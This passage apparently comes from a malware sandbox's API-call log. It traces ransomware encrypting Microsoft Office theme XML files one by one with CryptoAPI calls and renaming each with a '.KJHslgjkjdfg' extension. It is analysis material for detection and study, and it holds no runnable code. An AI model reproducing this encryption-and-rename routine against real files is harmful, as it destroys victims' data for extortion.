[0198.879] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.kjhslgjkjdfg")) returned 1 [0198.881] CloseHandle (hObject=0xf0) returned 1 [0198.881] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0198.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.882] GetProcessHeap () returned 0x2a0000 [0198.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.882] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.882] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.882] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.882] GetProcessHeap () returned 0x2a0000 [0198.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0198.882] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0198.883] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.883] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0198.885] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.885] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.885] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.885] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.885] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.885] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.885] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c0, lpOverlapped=0x0) returned 1 [0198.885] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0) returned 1 [0198.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.885] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c0, lpOverlapped=0x0) returned 1 [0198.886] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.886] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.886] SetEndOfFile (hFile=0xf0) returned 1 [0198.888] GetProcessHeap () returned 0x2a0000 [0198.888] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0198.888] GetProcessHeap () returned 0x2a0000 [0198.888] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.kjhslgjkjdfg")) returned 1 [0198.890] CloseHandle (hObject=0xf0) returned 1 [0198.890] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0198.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.892] GetProcessHeap () returned 0x2a0000 [0198.892] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.892] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.893] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0198.895] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.895] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.895] GetProcessHeap () returned 0x2a0000 [0198.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0198.895] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0198.895] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.895] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0198.895] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.895] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.895] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.895] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.895] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.896] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.896] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c1, lpOverlapped=0x0) returned 1 [0198.896] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.896] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.896] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.896] SetEndOfFile (hFile=0xf0) returned 1 [0198.898] GetProcessHeap () returned 0x2a0000 [0198.899] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0198.899] GetProcessHeap () returned 0x2a0000 [0198.899] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.kjhslgjkjdfg")) returned 1 [0198.900] CloseHandle (hObject=0xf0) returned 1 [0198.900] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0198.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.902] GetProcessHeap () returned 0x2a0000 [0198.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.902] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.902] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.902] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0198.905] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.905] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.905] GetProcessHeap () returned 0x2a0000 [0198.905] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.905] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.905] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.905] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.905] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.905] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.906] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.906] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.906] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.906] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.906] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c4, lpOverlapped=0x0) returned 1 [0198.906] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.906] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.906] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.906] SetEndOfFile (hFile=0xf0) returned 1 [0198.909] GetProcessHeap () returned 0x2a0000 [0198.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.909] GetProcessHeap () returned 0x2a0000 [0198.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.kjhslgjkjdfg")) returned 1 [0198.911] CloseHandle (hObject=0xf0) returned 1 [0198.911] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0198.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.912] GetProcessHeap () returned 0x2a0000 [0198.912] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.912] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.913] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0198.915] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.915] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.915] GetProcessHeap () returned 0x2a0000 [0198.915] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.915] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.915] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.915] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.915] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.915] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.915] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.916] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.916] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.916] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.916] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c2, lpOverlapped=0x0) returned 1 [0198.916] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.916] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.916] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.916] SetEndOfFile (hFile=0xf0) returned 1 [0198.919] GetProcessHeap () returned 0x2a0000 [0198.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.919] GetProcessHeap () returned 0x2a0000 [0198.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.kjhslgjkjdfg")) returned 1 [0198.921] CloseHandle (hObject=0xf0) returned 1 [0198.921] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0198.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.922] GetProcessHeap () returned 0x2a0000 [0198.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.922] CryptGenRandom (in: 